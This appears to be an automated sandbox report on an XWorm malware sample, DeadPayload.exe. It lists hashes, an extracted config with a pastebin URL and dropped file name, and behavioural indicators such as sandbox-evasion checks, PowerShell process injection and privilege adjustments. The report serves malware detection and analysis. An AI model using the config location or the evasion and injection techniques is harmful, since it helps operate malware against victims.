Analysis
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max time kernel
32s -
max time network
33s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
31/10/2024, 03:27
Static task
static1
General
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Target
DeadPayload.exe
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Size
500KB
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MD5
6659a78bb41c4dcb180337d53b4b78ef
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SHA1
bfa60020724f02bf302c35b46c114ee771c0bffd
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SHA256
ee77265662c507c67f8e93d22176cef757d249f59b6f86954b8dfeb497f54019
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SHA512
e04fc2d838c849520d42ce7274d6af5d0d792ee0523ea5f0685b0fc7e67e2736ed6f764c908b08830c5fdb643ffcd4810993b77dd66decf7549dc65e8277f4bb
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SSDEEP
12288:X3DTkV1ilKya0FOUuQ0gH+kmtbF6W05EJXp107sd7:PkGTy
Malware Config
Extracted
xworm
5.0
bbz3FQzIYGOJF400
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Install_directory
%Public%
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install_file
ohh.exe
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pastebin_url
https://pastebin.com/raw/J09JweeH
Signatures
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Detect Xworm Payload 2 IoCs
resource yara_rule behavioral1/files/0x000b000000023b93-7.dat family_xworm behavioral1/memory/5076-14-0x0000000000E20000-0x0000000000E2E000-memory.dmp family_xworm -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 1760 created 612 1760 powershell.EXE 5 -
Xworm family
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Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation DeadPayload.exe -
Executes dropped EXE 2 IoCs
pid Process 5076 DeadMan.exe 432 DeadRoot.exe -
pid Process 1760 powershell.EXE -
Drops file in System32 directory 6 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1760 set thread context of 3608 1760 powershell.EXE 99 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language DeadRoot.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Checks processor information in registry 2 TTPs 9 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Internet Explorer\Toolbar Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1" Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Explorer.EXE -
Modifies data under HKEY_USERS 56 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018C00F9831D2BD = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000009e83f37db5345044a782d4ac8afa0ee600000000020000000000106600000001000020000000db6ae9883da6c630c5a576d6bcef135052d601902a24f4ce82bd64829cce3def000000000e80000000020000200000002b2b55e087620fda1759c5c330aad3d416b7bb7ad55ec2c60eee126eef79ab3980000000b4655b13e832308a122eb6a7342a94dc28d4a88182d936bcfd47708c882725863f13df2f2466452120ef2056efdd1cf3f29f9727d95528dc3f9308d3d09217140c54bce87e66a4098591deace5133272cbbfc036347099393ca021eca3dff8f69ab0de1220a3b4e1d94febbd17236ea51c8914cacce826928e6ea6e207fb33cf400000000a7998ef95dd2bd9f7c6a5f144095242fc788fec530a0bd39c765fe2f7a148f2baf9fbc9ec834be3c8a55996c03fb347c6157d2115c72bd5e686938dc7294695 mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00F9831D2BD" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000009e83f37db5345044a782d4ac8afa0ee600000000020000000000106600000001000020000000c0d924ad54350fe404cec54bfafaa7e468110968f6532487eef3c668b6a73a22000000000e80000000020000200000009bf0e6d8fab249b9f9ea4c89d375b2811d059eabd524398a941521b3ce1a1d65b003000007ad83ee83135f1fcd5a96e0c405fa25018e9e0a4f44bf77223521b42160437ce0e466c8e24645539a507fddc6dadfc9ce7256b933f09a07df92666a625cb29d2e8cec92ea0435e9751fd05280d03ed92515b0f0881718d1cae16221ee5ecada5d2185380b2431620fcd2e112f3bafcbe12cb218543692c5561f999da6f7e0e457e82fcd20d054a22487bf54bb879c657312916ece8eb6c3025452088dae89c7ee50bfd8e71e617d36cc833b273b7b6761dec1fefc9861cab90512448e7bdf785ec06fd5e76208ada98d088a54a51d55890952ab6ea4a75591fd75ebbaefb0ee113033e9072b9b56c2c46b9e5916125ae1fe2f2963537f11301bf889f623a999ae794440ffe691e599dd046a5d9397c3fff4ac60de1a7a670c78947a9c8ee6ea23a55039ca26988db85b48f670a08b1679f029262b434623d7c864d0853c4f3d8e327b8c40bd99c7af816a851b4961bd69260afb664fca1e32110d59b7af12135a41432487b27334b05334a0a1a11149f82e5854d705376453658f7a5a853ac5731ab7b1b86fb0be11de6a5f9a5237d5a0e168323c0b5f4b6ee15d963dc92664bbe5c7ea4fd219724a8017ed22cb43ea4a722373142c2ddbf0c97b23a007a755c1c66b920a84bb8043e946498b9e1abc5598e563d25804bc9516d3c3a3fb562c072b5e0e4c0dc53d510839a84fb9d2394f6ee7f31406c4ffc256f320ef6431d26942a33f63a5ff59f6bcaa96a6dcb523b17a7f42e2aa0a2847e47afbd54311db852d1bf686d399a58a8237a1d1a49fb26d2df3c5eb18fdaf27610c690e8d1253db88351fdbe72d0547f1e77725c53887b8293c7aebc9fbb9e758fdb92818875d433bb9df87a5ea966ccc7bf1b7595b44b8cf268984b64672f31603bc7deede32e999ae13d6ca12a04ec584d9cf411cbaa67b21f3f57a30f7964fc3887b949a936bbd687bece6b2c93acb8ecfe0d413e1ffbf45efe30493ac5e3c5df0880ca092e49e4d7a7813fd446b08febb6b90e5424eac3c4f50ea1e556d3c3e44ff62fc5edfd76ea31c7b0584657d21627e3612695cea366e3ec46e9ddb3effeeb8a0643a4563b530b6aa633444744b0b7849907499b3d92b01dd7a91597b065931f7e937b559aaeb21f6283f0b1fa1d3d45f2e2fc0edc5f86e56b561f676ab2f55232c6d6d89dd3577677e418de9351274f28b6942be7ca166c47ee38646b9886f31cb1f104f649f9833211e8475dcfd10bb5397399eb2140811f72218fdf877e31419caaaedc7fe6d5f5d81715f5cd3aff7e7d389fb3e344fb0e239237ac1c8566c9c87b2c42e482030177f37a773fa21200ea740000000cb798237a95e591fe369f4276f525e2f6659d5a7b36cfc714a4160bea9af6486e75887f2973060ab1a6be8f0a51792fdf7a713bf9fe9b3dc59b4316ac2e64179 mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018C00F9831D2BD" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ Explorer.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3456 Explorer.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 1760 powershell.EXE 1760 powershell.EXE 1760 powershell.EXE 5108 taskmgr.exe 5108 taskmgr.exe 1760 powershell.EXE 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 5108 taskmgr.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 5108 taskmgr.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 5108 taskmgr.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe 3608 dllhost.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3456 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5076 DeadMan.exe Token: SeDebugPrivilege 5108 taskmgr.exe Token: SeSystemProfilePrivilege 5108 taskmgr.exe Token: SeCreateGlobalPrivilege 5108 taskmgr.exe Token: SeDebugPrivilege 1760 powershell.EXE Token: SeDebugPrivilege 1760 powershell.EXE Token: SeDebugPrivilege 3608 dllhost.exe Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: 33 5108 taskmgr.exe Token: SeIncBasePriorityPrivilege 5108 taskmgr.exe Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeShutdownPrivilege 4300 svchost.exe Token: SeCreatePagefilePrivilege 4300 svchost.exe Token: SeShutdownPrivilege 3956 mousocoreworker.exe Token: SeCreatePagefilePrivilege 3956 mousocoreworker.exe Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeShutdownPrivilege 3956 mousocoreworker.exe Token: SeCreatePagefilePrivilege 3956 mousocoreworker.exe Token: SeShutdownPrivilege 3956 mousocoreworker.exe Token: SeCreatePagefilePrivilege 3956 mousocoreworker.exe Token: SeShutdownPrivilege 3912 RuntimeBroker.exe Token: SeShutdownPrivilege 3956 mousocoreworker.exe Token: SeCreatePagefilePrivilege 3956 mousocoreworker.exe Token: SeShutdownPrivilege 3912 RuntimeBroker.exe Token: SeShutdownPrivilege 3956 mousocoreworker.exe Token: SeCreatePagefilePrivilege 3956 mousocoreworker.exe Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeShutdownPrivilege 3456 Explorer.EXE Token: SeCreatePagefilePrivilege 3456 Explorer.EXE Token: SeAssignPrimaryTokenPrivilege 2016 svchost.exe Token: SeIncreaseQuotaPrivilege 2016 svchost.exe Token: SeSecurityPrivilege 2016 svchost.exe Token: SeTakeOwnershipPrivilege 2016 svchost.exe Token: SeLoadDriverPrivilege 2016 svchost.exe Token: SeSystemtimePrivilege 2016 svchost.exe Token: SeBackupPrivilege 2016 svchost.exe Token: SeRestorePrivilege 2016 svchost.exe Token: SeShutdownPrivilege 2016 svchost.exe -
Suspicious use of FindShellTrayWindow 38 IoCs
pid Process 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 3456 Explorer.EXE 3456 Explorer.EXE -
Suspicious use of SendNotifyMessage 51 IoCs
pid Process 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 5108 taskmgr.exe 3456 Explorer.EXE 3456 Explorer.EXE 3456 Explorer.EXE 3456 Explorer.EXE 3456 Explorer.EXE 3456 Explorer.EXE 3456 Explorer.EXE 3456 Explorer.EXE 3456 Explorer.EXE 3456 Explorer.EXE 3456 Explorer.EXE 3456 Explorer.EXE 3456 Explorer.EXE 3456 Explorer.EXE 3456 Explorer.EXE 3456 Explorer.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3456 Explorer.EXE 3456 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3196 wrote to memory of 5076 3196 DeadPayload.exe 85 PID 3196 wrote to memory of 5076 3196 DeadPayload.exe 85 PID 3196 wrote to memory of 432 3196 DeadPayload.exe 96 PID 3196 wrote to memory of 432 3196 DeadPayload.exe 96 PID 3196 wrote to memory of 432 3196 DeadPayload.exe 96 PID 1760 wrote to memory of 3608 1760 powershell.EXE 99 PID 1760 wrote to memory of 3608 1760 powershell.EXE 99 PID 1760 wrote to memory of 3608 1760 powershell.EXE 99 PID 1760 wrote to memory of 3608 1760 powershell.EXE 99 PID 1760 wrote to memory of 3608 1760 powershell.EXE 99 PID 1760 wrote to memory of 3608 1760 powershell.EXE 99 PID 1760 wrote to memory of 3608 1760 powershell.EXE 99 PID 1760 wrote to memory of 3608 1760 powershell.EXE 99 PID 3608 wrote to memory of 612 3608 dllhost.exe 5 PID 3608 wrote to memory of 676 3608 dllhost.exe 7 PID 3608 wrote to memory of 956 3608 dllhost.exe 12 PID 3608 wrote to memory of 380 3608 dllhost.exe 13 PID 3608 wrote to memory of 404 3608 dllhost.exe 14 PID 3608 wrote to memory of 896 3608 dllhost.exe 16 PID 3608 wrote to memory of 1124 3608 dllhost.exe 17 PID 3608 wrote to memory of 1132 3608 dllhost.exe 18 PID 3608 wrote to memory of 1140 3608 dllhost.exe 19 PID 3608 wrote to memory of 1148 3608 dllhost.exe 20 PID 3608 wrote to memory of 1284 3608 dllhost.exe 21 PID 3608 wrote to memory of 1292 3608 dllhost.exe 22 PID 3608 wrote to memory of 1312 3608 dllhost.exe 23 PID 3608 wrote to memory of 1376 3608 dllhost.exe 24 PID 3608 wrote to memory of 1448 3608 dllhost.exe 25 PID 3608 wrote to memory of 1552 3608 dllhost.exe 26 PID 3608 wrote to memory of 1560 3608 dllhost.exe 27 PID 3608 wrote to memory of 1580 3608 dllhost.exe 28 PID 3608 wrote to memory of 1704 3608 dllhost.exe 29 PID 3608 wrote to memory of 1732 3608 dllhost.exe 30 PID 3608 wrote to memory of 1768 3608 dllhost.exe 31 PID 3608 wrote to memory of 1900 3608 dllhost.exe 32 PID 3608 wrote to memory of 1988 3608 dllhost.exe 33 PID 3608 wrote to memory of 2000 3608 dllhost.exe 34 PID 3608 wrote to memory of 2016 3608 dllhost.exe 35 PID 3608 wrote to memory of 1600 3608 dllhost.exe 36 PID 3608 wrote to memory of 1660 3608 dllhost.exe 37 PID 3608 wrote to memory of 2128 3608 dllhost.exe 38 PID 3608 wrote to memory of 2224 3608 dllhost.exe 40 PID 3608 wrote to memory of 2360 3608 dllhost.exe 41 PID 3608 wrote to memory of 2516 3608 dllhost.exe 42 PID 3608 wrote to memory of 2524 3608 dllhost.exe 43 PID 3608 wrote to memory of 2660 3608 dllhost.exe 44 PID 3608 wrote to memory of 2688 3608 dllhost.exe 45 PID 3608 wrote to memory of 2712 3608 dllhost.exe 46 PID 3608 wrote to memory of 2752 3608 dllhost.exe 47 PID 3608 wrote to memory of 2764 3608 dllhost.exe 48 PID 3608 wrote to memory of 2780 3608 dllhost.exe 49 PID 3608 wrote to memory of 2868 3608 dllhost.exe 50 PID 3608 wrote to memory of 2932 3608 dllhost.exe 51 PID 3608 wrote to memory of 2984 3608 dllhost.exe 52 PID 3608 wrote to memory of 780 3608 dllhost.exe 53 PID 3608 wrote to memory of 3372 3608 dllhost.exe 55 PID 3608 wrote to memory of 3456 3608 dllhost.exe 56 PID 3608 wrote to memory of 3572 3608 dllhost.exe 57 PID 676 wrote to memory of 2712 676 lsass.exe 46 PID 3608 wrote to memory of 3760 3608 dllhost.exe 58 PID 3608 wrote to memory of 3912 3608 dllhost.exe 60 PID 3608 wrote to memory of 3972 3608 dllhost.exe 62 PID 3608 wrote to memory of 1640 3608 dllhost.exe 65 